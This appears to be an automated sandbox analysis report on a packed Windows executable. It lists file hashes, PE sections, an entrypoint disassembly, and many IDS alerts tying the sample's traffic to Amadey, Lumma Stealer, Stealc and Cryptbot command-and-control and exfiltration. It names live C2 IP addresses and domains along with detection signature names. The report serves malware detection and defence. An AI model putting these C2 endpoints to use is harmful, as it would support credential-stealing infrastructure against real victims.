SHA512:	ad26656d29e916e06d26de91f0da8703c1f677bd369196e282f6e1eec3a0baca504a564607b4e6f7d18b8ac350428aaff01e2f39ccc435715526daaae1a0e100
SSDEEP:	49152:isilqKky+KMCXclIjF9ML4Im3AS7Vsu2yBxXQWxu58xdS:5iIKgKMCYO9ML+AS55BmWcY
TLSH:	D2E56C91B90A72DFD48E27B49527CE86692D47F60B1005C3A87DB47A7DB3DC211BBC28
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x723000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB8686682BAh
divps xmm5, dqword ptr [esi]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x321294	0x10	sftdblig
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x321244	0x18	sftdblig
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	4d7443d75f3cb90cd3a83e07e605659e	False	0.9983289339237057	data	7.985033648213991	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x600	1e55db351164df1643ae87d7efa3ee0f	False	0.4303385416666667	data	5.417125179370491	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
sftdblig	0x6b000	0x2b7000	0x2b6400	c3b5a89f49d8ab2fd996ed7e8d55ffb6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tqdamjfv	0x322000	0x1000	0x400	8fd2976c0709578ac14cbb33bd71c3d4	False	0.8173828125	data	6.344449764504575	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x323000	0x3000	0x2200	cfb30e4b56979de27908aa795b8fe643	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x69454	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-19T08:09:05.743874+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49779	185.215.113.43	80	TCP
2024-12-19T08:09:10.729382+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49802	31.41.244.11	80	TCP
2024-12-19T08:09:20.212182+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49798	TCP
2024-12-19T08:09:21.563582+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49835	185.215.113.43	80	TCP
2024-12-19T08:09:23.013337+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49839	31.41.244.11	80	TCP
2024-12-19T08:09:28.447643+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49854	185.215.113.43	80	TCP
2024-12-19T08:09:29.893541+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49858	31.41.244.11	80	TCP
2024-12-19T08:09:35.933842+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49875	104.21.91.209	443	TCP
2024-12-19T08:09:37.142635+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49876	185.215.113.43	80	TCP
2024-12-19T08:09:37.144714+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49875	104.21.91.209	443	TCP
2024-12-19T08:09:37.144714+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49875	104.21.91.209	443	TCP
2024-12-19T08:09:38.387309+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49883	104.21.91.209	443	TCP
2024-12-19T08:09:38.608829+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49882	185.215.113.16	80	TCP
2024-12-19T08:09:39.496608+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49883	104.21.91.209	443	TCP
2024-12-19T08:09:39.496608+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49883	104.21.91.209	443	TCP
2024-12-19T08:09:41.055437+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49893	104.21.91.209	443	TCP
2024-12-19T08:09:43.759977+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49900	104.21.91.209	443	TCP
2024-12-19T08:09:44.157862+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.6	52456	1.1.1.1	53	UDP
2024-12-19T08:09:44.379563+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.6	51238	1.1.1.1	53	UDP
2024-12-19T08:09:45.864533+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49908	172.67.179.109	443	TCP
2024-12-19T08:09:45.864533+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49908	172.67.179.109	443	TCP
2024-12-19T08:09:46.672093+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49908	172.67.179.109	443	TCP
2024-12-19T08:09:46.672093+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49908	172.67.179.109	443	TCP
2024-12-19T08:09:46.744626+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49911	104.21.91.209	443	TCP
2024-12-19T08:09:46.959173+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49909	185.215.113.43	80	TCP
2024-12-19T08:09:47.895092+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49917	172.67.179.109	443	TCP
2024-12-19T08:09:47.895092+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49917	172.67.179.109	443	TCP
2024-12-19T08:09:48.426444+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49918	185.215.113.16	80	TCP
2024-12-19T08:09:49.527051+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49917	172.67.179.109	443	TCP
2024-12-19T08:09:49.527051+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49917	172.67.179.109	443	TCP
2024-12-19T08:09:49.840267+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49921	104.21.91.209	443	TCP
2024-12-19T08:09:50.672965+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49921	104.21.91.209	443	TCP
2024-12-19T08:09:51.095485+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49926	172.67.179.109	443	TCP
2024-12-19T08:09:51.095485+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49926	172.67.179.109	443	TCP
2024-12-19T08:09:52.260879+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49926	172.67.179.109	443	TCP
2024-12-19T08:09:53.499845+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49932	104.21.91.209	443	TCP
2024-12-19T08:09:53.500918+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49933	172.67.179.109	443	TCP
2024-12-19T08:09:53.500918+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49933	172.67.179.109	443	TCP
2024-12-19T08:09:56.317658+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49939	172.67.179.109	443	TCP
2024-12-19T08:09:56.317658+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49939	172.67.179.109	443	TCP
2024-12-19T08:09:56.973604+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	49945	194.87.47.113	80	TCP
2024-12-19T08:09:57.038454+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49946	185.215.113.43	80	TCP
2024-12-19T08:09:57.080927+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49947	104.21.91.209	443	TCP
2024-12-19T08:09:58.164558+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49947	104.21.91.209	443	TCP
2024-12-19T08:09:58.228425+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49948	185.215.113.206	80	TCP
2024-12-19T08:09:58.506920+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49949	185.215.113.16	80	TCP
2024-12-19T08:09:58.756545+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	49956	194.87.47.113	80	TCP
2024-12-19T08:09:59.020350+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49950	172.67.179.109	443	TCP
2024-12-19T08:09:59.020350+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49950	172.67.179.109	443	TCP
2024-12-19T08:10:02.296957+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49962	172.67.179.109	443	TCP
2024-12-19T08:10:02.296957+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49962	172.67.179.109	443	TCP
2024-12-19T08:10:03.657065+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.6	51197	1.1.1.1	53	UDP
2024-12-19T08:10:04.820412+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49968	185.215.113.43	80	TCP
2024-12-19T08:10:05.127635+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49977	172.67.179.109	443	TCP
2024-12-19T08:10:05.127635+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49977	172.67.179.109	443	TCP
2024-12-19T08:10:05.923597+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49977	172.67.179.109	443	TCP
2024-12-19T08:10:05.923597+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49977	172.67.179.109	443	TCP
2024-12-19T08:10:06.101185+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49982	172.67.179.109	443	TCP
2024-12-19T08:10:06.101185+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49982	172.67.179.109	443	TCP
2024-12-19T08:10:06.344997+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49981	185.215.113.16	80	TCP
2024-12-19T08:10:06.811679+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49982	172.67.179.109	443	TCP
2024-12-19T08:10:07.162858+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49987	172.67.179.109	443	TCP
2024-12-19T08:10:07.162858+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49987	172.67.179.109	443	TCP
2024-12-19T08:10:08.270049+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49988	185.215.113.16	80	TCP
2024-12-19T08:10:08.307617+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49987	172.67.179.109	443	TCP
2024-12-19T08:10:08.307617+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49987	172.67.179.109	443	TCP
2024-12-19T08:10:08.752679+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	49989	194.87.47.113	80	TCP
2024-12-19T08:10:10.430847+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	49995	172.67.179.109	443	TCP
2024-12-19T08:10:10.430847+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49995	172.67.179.109	443	TCP
2024-12-19T08:10:12.168589+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49999	185.215.113.206	80	TCP
2024-12-19T08:10:13.011421+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	50005	172.67.179.109	443	TCP
2024-12-19T08:10:13.011421+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50005	172.67.179.109	443	TCP
2024-12-19T08:10:13.247267+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50004	185.215.113.43	80	TCP
2024-12-19T08:10:15.601738+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	50012	172.67.179.109	443	TCP
2024-12-19T08:10:15.601738+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50012	172.67.179.109	443	TCP
2024-12-19T08:10:18.552911+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	50033	172.67.179.109	443	TCP
2024-12-19T08:10:18.552911+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50033	172.67.179.109	443	TCP
2024-12-19T08:10:20.924228+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50047	185.215.113.206	80	TCP
2024-12-19T08:10:22.728578+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	50057	172.67.179.109	443	TCP
2024-12-19T08:10:22.728578+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50057	172.67.179.109	443	TCP
2024-12-19T08:10:27.651426+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	50069	172.67.179.109	443	TCP
2024-12-19T08:10:27.651426+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50069	172.67.179.109	443	TCP
2024-12-19T08:10:28.497845+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50069	172.67.179.109	443	TCP
2024-12-19T08:10:30.065157+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50076	185.215.113.16	80	TCP
2024-12-19T08:10:41.244173+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.6	52925	1.1.1.1	53	UDP
2024-12-19T08:10:42.620752+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	50102	172.67.179.109	443	TCP
2024-12-19T08:10:42.620752+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50102	172.67.179.109	443	TCP
2024-12-19T08:10:43.041852+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50101	185.215.113.206	80	TCP
2024-12-19T08:10:43.713619+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50102	172.67.179.109	443	TCP
2024-12-19T08:10:43.713619+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50102	172.67.179.109	443	TCP
2024-12-19T08:10:44.961996+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	50107	172.67.179.109	443	TCP
2024-12-19T08:10:44.961996+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50107	172.67.179.109	443	TCP
2024-12-19T08:10:46.463098+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50107	172.67.179.109	443	TCP
2024-12-19T08:10:46.463098+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50107	172.67.179.109	443	TCP
2024-12-19T08:10:48.696506+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	50119	172.67.179.109	443	TCP
2024-12-19T08:10:48.696506+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50119	172.67.179.109	443	TCP
2024-12-19T08:10:49.592464+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50119	172.67.179.109	443	TCP
2024-12-19T08:10:50.829159+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	50134	172.67.179.109	443	TCP
2024-12-19T08:10:50.829159+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50134	172.67.179.109	443	TCP
2024-12-19T08:10:52.484065+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50141	185.215.113.206	80	TCP
2024-12-19T08:10:53.229043+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	50148	172.67.179.109	443	TCP
2024-12-19T08:10:53.229043+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50148	172.67.179.109	443	TCP
2024-12-19T08:10:55.400962+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	50153	172.67.179.109	443	TCP
2024-12-19T08:10:55.400962+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50153	172.67.179.109	443	TCP
2024-12-19T08:10:58.231654+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	50156	172.67.179.109	443	TCP
2024-12-19T08:10:58.231654+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50156	172.67.179.109	443	TCP
2024-12-19T08:10:59.217593+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50156	172.67.179.109	443	TCP
2024-12-19T08:11:00.491701+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.6	50157	172.67.179.109	443	TCP
2024-12-19T08:11:00.491701+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50157	172.67.179.109	443	TCP
2024-12-19T08:11:01.369164+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50157	172.67.179.109	443	TCP
2024-12-19T08:11:02.840734+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50159	185.215.113.16	80	TCP
2024-12-19T08:11:14.586629+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50164	185.215.113.206	80	TCP
2024-12-19T08:14:09.207088+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50276	185.215.113.43	80	TCP
2024-12-19T08:15:09.215841+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50305	TCP
2024-12-19T08:15:10.522825+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50306	31.41.244.11	80	TCP
2024-12-19T08:15:16.750107+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50307	172.67.177.88	443	TCP
2024-12-19T08:15:17.544870+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50307	172.67.177.88	443	TCP
2024-12-19T08:15:17.544870+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50307	172.67.177.88	443	TCP
2024-12-19T08:15:17.701267+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50308	185.215.113.43	80	TCP
2024-12-19T08:15:18.809814+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50309	172.67.177.88	443	TCP
2024-12-19T08:15:19.632055+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50309	172.67.177.88	443	TCP
2024-12-19T08:15:19.632055+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50309	172.67.177.88	443	TCP
2024-12-19T08:15:22.462101+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50311	172.67.177.88	443	TCP
2024-12-19T08:15:24.652117+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50313	172.67.177.88	443	TCP
2024-12-19T08:15:26.852119+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50315	172.67.177.88	443	TCP
2024-12-19T08:15:29.203143+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50316	172.67.177.88	443	TCP
2024-12-19T08:15:30.086093+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50316	172.67.177.88	443	TCP
2024-12-19T08:15:31.770564+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50318	172.67.177.88	443	TCP
2024-12-19T08:15:32.858062+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50318	172.67.177.88	443	TCP
2024-12-19T08:15:34.107604+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50319	172.67.177.88	443	TCP
2024-12-19T08:15:34.919088+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50319	172.67.177.88	443	TCP
2024-12-19T08:16:06.655031+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50330	31.41.244.11	80	TCP
2024-12-19T08:16:17.792273+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50329	TCP
2024-12-19T08:16:20.235224+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50334	185.215.113.43	80	TCP
2024-12-19T08:16:50.889114+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	50349	176.53.146.212	80	TCP
2024-12-19T08:16:53.756170+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	50351	176.53.146.212	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 08:09:03.897037029 CET	49779	80	192.168.2.6	185.215.113.43
Dec 19, 2024 08:09:04.018793106 CET	80	49779	185.215.113.43	192.168.2.6
Dec 19, 2024 08:09:04.018893957 CET	49779	80	192.168.2.6	185.215.113.43
